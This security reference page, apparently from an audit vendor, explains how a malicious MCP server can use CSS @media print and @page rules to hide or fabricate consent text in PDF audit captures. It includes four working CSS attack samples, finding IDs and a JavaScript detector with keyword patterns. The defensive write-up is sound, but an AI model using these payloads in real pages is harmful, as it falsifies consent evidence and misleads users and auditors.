Security reference · CSS injection · Print media attacks

MCP server CSS @media print security

CSS @media print rules apply only when a page is rendered for printing or exported to PDF. Compliance and security teams routinely capture PDF audit trails of consent screens — using print-to-PDF in their review workflow or automated PDF generation during compliance documentation. A malicious MCP server can inject @media print rules that diverge from the screen rendering: hiding the real consent disclosure in the PDF output, injecting fabricated approval text via @page margin boxes, or creating a steganographic print layout where only MCP-desired content survives the print rasterization.

CSS @media print attack surface

CSS FeaturePrint behaviourAttack potential
@media print { .consent { display:none } }Hides element in print/PDF onlyConsent absent from any PDF audit trail while visible on screen
@page { @top-center { content: '...' } }Injects text into page margin boxes in print/PDFFabricated consent approval text injected into PDF header on every page
@media print { * { color:white } .mcp-text { color:black } }Only MCP-chosen text visible in PDFFull steganographic control of PDF output content
@media print { .fake-approval { display:block } }Shows print-only elements invisible on screenPrint-only fabricated consent confirmation appears in PDF but not on screen

Attack 1: hide consent from PDF audit captures

The simplest @media print attack suppresses the consent disclosure in print output while leaving the screen rendering intact. Compliance reviewers who capture PDF evidence of the consent screen receive a PDF with no consent text:

/* Malicious MCP injection — consent hidden in print/PDF */
@media print {
  .consent-disclosure,
  .consent-terms-block,
  .gdpr-notice,
  [class*="consent"],
  [id*="consent"] {
    display: none !important;
  }

  /* Remove all consent-related UI from print output */
  /* Screen render: consent visible */
  /* Print/PDF render: consent absent */
  /* Compliance reviewer sees PDF with no consent text */
  /* Automated PDF compliance scanners find no consent → report passes */
}

/* Combined: inject a different element visible only in print */
@media print {
  .consent-disclosure { display: none; }
  .print-only-consent-substitute {
    display: block !important; /* only shown in print */
    /* On screen: display:none (via non-print CSS) */
    /* In print: shows MCP-authored text that looks like consent */
    /* The print text can be shorter, vague, or pre-agreed */
  }
}

Audit trail attack: Under GDPR Article 7(1), controllers must be able to demonstrate that consent was given. Many organisations document this with PDF captures of the consent screen taken during compliance audits or captured by automated compliance tools. A @media print rule that removes the consent text from PDF output eliminates the most common form of consent evidence — while the controller (using the MCP server) can claim it was present on screen.

Attack 2: @page margin box injection — fabricated consent in PDF headers

CSS @page margin boxes allow text to be injected into the header, footer, and corner areas of printed pages. These margin box areas are outside the normal document flow and are not part of the main page DOM — they appear in PDF output but have no equivalent visible area on screen. A malicious MCP server can inject consent-approval language into a margin box that appears on every page of the PDF output:

/* Malicious injection — fabricated consent text in PDF page headers */
@page {
  margin-top: 25mm; /* make room for header content */

  @top-center {
    content: "USER ACCEPTED ALL TERMS AND CONDITIONS — CONSENT RECORDED";
    font-size: 8pt;
    color: #333;
    font-family: Arial, sans-serif;
    /* This text appears in the top margin of every PDF page */
    /* It is NOT in the HTML DOM — document.body.textContent does not contain it */
    /* Screen rendering: no header visible (margin boxes are print-only) */
    /* PDF output: "USER ACCEPTED ALL TERMS AND CONDITIONS" appears at top of every page */
  }

  @bottom-center {
    content: "Consent timestamp: " attr(data-fake-consent-time);
    /* If the HTML element has a data-fake-consent-time attribute,
       this injects it into the PDF footer as a fake timestamp */
  }
}

/* Specific page targets */
@page :first {
  @top-left {
    content: "Agreement confirmed. Ref: " counter(mcp-ref-id);
    /* A CSS counter can be manipulated to show a fake reference number */
  }
}

DOM invisibility: Content inserted via @page margin boxes using the CSS content property is not part of the HTML DOM and cannot be detected by document.querySelector(), document.body.textContent, or accessibility tree traversal. Static code analysis of the HTML cannot find it. Only PDF inspection tools or analysis of the rendered print output can reveal margin box content injected this way.

Attack 3: steganographic print output — only MCP text survives

A more sophisticated attack uses @media print to make ALL text white (invisible against a white PDF background), then selectively restores only MCP-chosen text to black. The resulting PDF contains only the text the MCP server wants visible — a fully controlled print narrative:

/* Malicious injection — steganographic print control */
@media print {
  /* Step 1: make everything invisible */
  * {
    color: white !important;
    background: white !important;
    border-color: white !important;
    text-shadow: none !important;
    box-shadow: none !important;
  }

  /* Step 2: restore only MCP-authored content */
  .mcp-print-visible,
  .mcp-approval-text,
  .mcp-fake-consent-confirmation {
    color: black !important;
    background: white !important;
  }

  /* Step 3: inject MCP-authored print-only elements */
  .mcp-print-only-section {
    display: block !important;
    color: black !important;
    /* This element is display:none on screen but visible in print */
    /* Contains fabricated consent text, fake signatures, or altered terms */
  }

  /* Net result: the PDF contains only the MCP's chosen narrative.
     Real consent text: white on white = invisible.
     Fake MCP content: black on white = fully readable.
     PDF looks like a legitimate consent confirmation document. */
}

Attack 4: print-only consent substitute with divergent terms

The final variant displays a different, shorter, or more permissive version of the consent terms in print output compared to what is shown on screen. The user reads the full on-screen terms (which may be restrictive) but the PDF audit trail captures the shorter print-only version that grants broader permissions:

/* Screen styling: only long-form consent visible */
.consent-long-form { display: block; }
.consent-short-form { display: none; } /* hidden on screen */

/* Print styling: swap — short form visible, long form hidden */
@media print {
  .consent-long-form { display: none !important; }
  .consent-short-form { display: block !important; }
}

/* The short form HTML content:
   On-screen consent: "You agree not to use this data for marketing purposes,
   not to share with third parties, and to delete all copies within 30 days..."
   Print/PDF consent: "You agree to our terms." (5 words instead of 200)

   User read: the restrictive full terms.
   PDF audit evidence: the permissive 5-word version.
   Legal interpretation of the PDF: the 5-word terms apply.
*/

/* Even subtler: use CSS counter() in print-only content to generate
   a different terms version number */
@media print {
  .terms-version::after {
    content: " (v" counter(mcp-version-counter) ")";
    /* Counter can be set to any value by MCP CSS injection */
    /* "Terms v3.1" on screen becomes "Terms v1.0" in PDF */
    /* Referencing an older, more permissive terms version */
  }
}

SkillAudit findings for CSS @media print attacks

CriticalSA-CSS-PRINT-001 — @media print rule with display:none or equivalent targeting consent disclosure elements; consent is absent from all PDF and print audit captures while visible on screen
CriticalSA-CSS-PRINT-002 — @page margin box content injection containing consent-approval language; fabricated approval text appears in PDF page headers/footers outside the DOM and cannot be detected by HTML analysis tools
HighSA-CSS-PRINT-003 — @media print { * { color:white } .mcp-class { color:black } } steganographic pattern; only MCP-authored content survives print rasterization, real consent text becomes white-on-white invisible
HighSA-CSS-PRINT-004 — @media print { .consent-short-form { display:block } .consent-long-form { display:none } } swap pattern; abbreviated or different consent terms replace full terms in print/PDF output, creating print/screen divergence in the terms captured for audit

Detection of @media print divergence

/* Detect @media print rules targeting consent elements */
function auditPrintConsentRules() {
  const violations = [];

  for (const sheet of document.styleSheets) {
    let rules;
    try { rules = Array.from(sheet.cssRules || []); }
    catch { continue; } /* cross-origin stylesheets blocked */

    for (const rule of rules) {
      /* Check @media print blocks */
      if (rule instanceof CSSMediaRule) {
        const mediaText = rule.conditionText || rule.media?.mediaText || '';
        if (mediaText.includes('print')) {
          for (const innerRule of rule.cssRules) {
            if (!(innerRule instanceof CSSStyleRule)) continue;

            const selector = innerRule.selectorText;
            const style = innerRule.style;

            /* Flag: consent elements hidden in print */
            const targetsConsent = /consent|terms|gdpr|disclosure|agree/i.test(selector);
            const hidesElement =
              style.display === 'none' ||
              style.visibility === 'hidden' ||
              style.opacity === '0' ||
              (style.color === 'white' && innerRule.selectorText === '*');

            if (targetsConsent && hidesElement) {
              violations.push({
                type: 'SA-CSS-PRINT-001',
                selector,
                property: style.cssText.slice(0, 80)
              });
            }
          }
        }
      }

      /* Check @page blocks for injected content */
      if (rule instanceof CSSPageRule) {
        /* @page margin boxes appear as @top-center etc. rules
           Access via rule.cssRules if available (browser-dependent) */
        if (rule.cssText && /consent|terms|agree|accepted/i.test(rule.cssText)) {
          violations.push({
            type: 'SA-CSS-PRINT-002',
            selector: '@page',
            property: rule.cssText.slice(0, 80)
          });
        }
      }
    }
  }

  return violations;
}

/* Invoke before consent recording */
const printViolations = auditPrintConsentRules();
if (printViolations.length > 0) {
  throw new Error(
    'CONSENT_INTEGRITY_FAILURE: @media print CSS violations detected: ' +
    JSON.stringify(printViolations)
  );
}

Related security references

Audit your MCP server for @media print consent-suppression attacks: paste your GitHub URL at skillaudit.dev for a free security report including SA-CSS-PRINT findings.